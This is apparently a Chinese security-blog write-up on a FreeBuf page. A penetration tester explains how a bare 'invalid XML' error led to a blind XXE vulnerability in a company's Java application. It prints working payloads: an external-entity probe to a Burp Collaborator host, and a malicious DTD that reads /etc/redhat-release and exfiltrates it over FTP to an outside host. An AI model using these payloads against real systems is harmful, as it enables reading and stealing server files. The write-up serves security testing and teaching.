freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XXE漏洞实战案例:从无效XML到内部文件提取的探索之旅
2024-08-22 09:15:22

前言

各位大佬好!欢迎来到我的技术探险之旅。在这篇文章中,我将分享我在参与一个安全渗透测试服务项目时发现的一个XXE (XML External Entity)漏洞的研究过程。这次发现不仅展示了如何从一个简单的“无效 XML”错误信息出发,逐步利用 XXE 漏洞的多种创新方法。XXE漏洞作为一种经典的攻击方式,仍然是许多企业应用程序中潜在的安全隐患。通过本文,我希望能够为大家提供一些实用的技巧和经验,无论您是安全领域的初学者还是经验丰富的专业人士,我相信这篇文章都将为您提供有价值的见解。

信息收集

在例行的信息收集过程中,我在XXX公司的某个业务系统应用中发现了一些非常有趣的现象。当我提交的请求只返回“无效的XML”时,这引起了我的极大关注。我立即开始使用常用的XXE payload进行测试,但遗憾的是,我无法在页面上获取XML解析器的输出。

1724288469_66c68dd541a6afc07c160.png!small?1724288471961

我首先检查了DOCTYPE定义是否启用。在Java Servlet应用中,通常可以选择关闭对自定义DOCTYPE的解析。幸运的是,在这个应用系统中,该功能是开启的。但我只看到了一条DNS 请求,而没有HTTP请求。我意识到这可能意味着外部实体攻击的存在。

首先构建payload

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://k8tm8ep85umg95uxhsehjpayqpwfk4.burpcollaborator.net/x"> %ext;

]>

<r></r>

如果一切正常,服务器应该会进行DNS解析,并向我的burp发送 HTTP 请求,但最终只收到了DNS请求。

1724288490_66c68dea36a5a8e39d244.png!small?1724288492835

1724288501_66c68df5030bbfabb593f.png!small?1724288503631

漏洞利用

考虑到现状,很容易推测目标可能有安全防火墙。为了进一步分析,我决定暂时放下这个问题

我发现系统另一处有个文件上传功能进行尝试,幸运的是这个上传功能允许任意人上传文档,包括 pdf、txt、docx 等文件,这让我可以通过简单的 GET 请求临时访问。如果 XML 解析器信任 *.company.com 的内容,服务器就会成功地获取我自己定义的 DTD。

因此,我上传了一个自定义的 DTD 文件,该文件声明了一个包含任意内容的变量,接下来我将尝试提取该内容。由于我不能通过 HTTP 请求获取外部内容,所以我的第一步是尝试通过 FTP 提取,使用一个用Go编写的xxeserv。

external.dtd

<!ENTITY % payload SYSTEM "file:///etc/redhat-release">

<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://bbounty.f4d3.io:23/%payload;'>">

%int;

%trick;

# 渗透测试 # web安全 # 漏洞分析 # XXE漏洞 # XXE实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录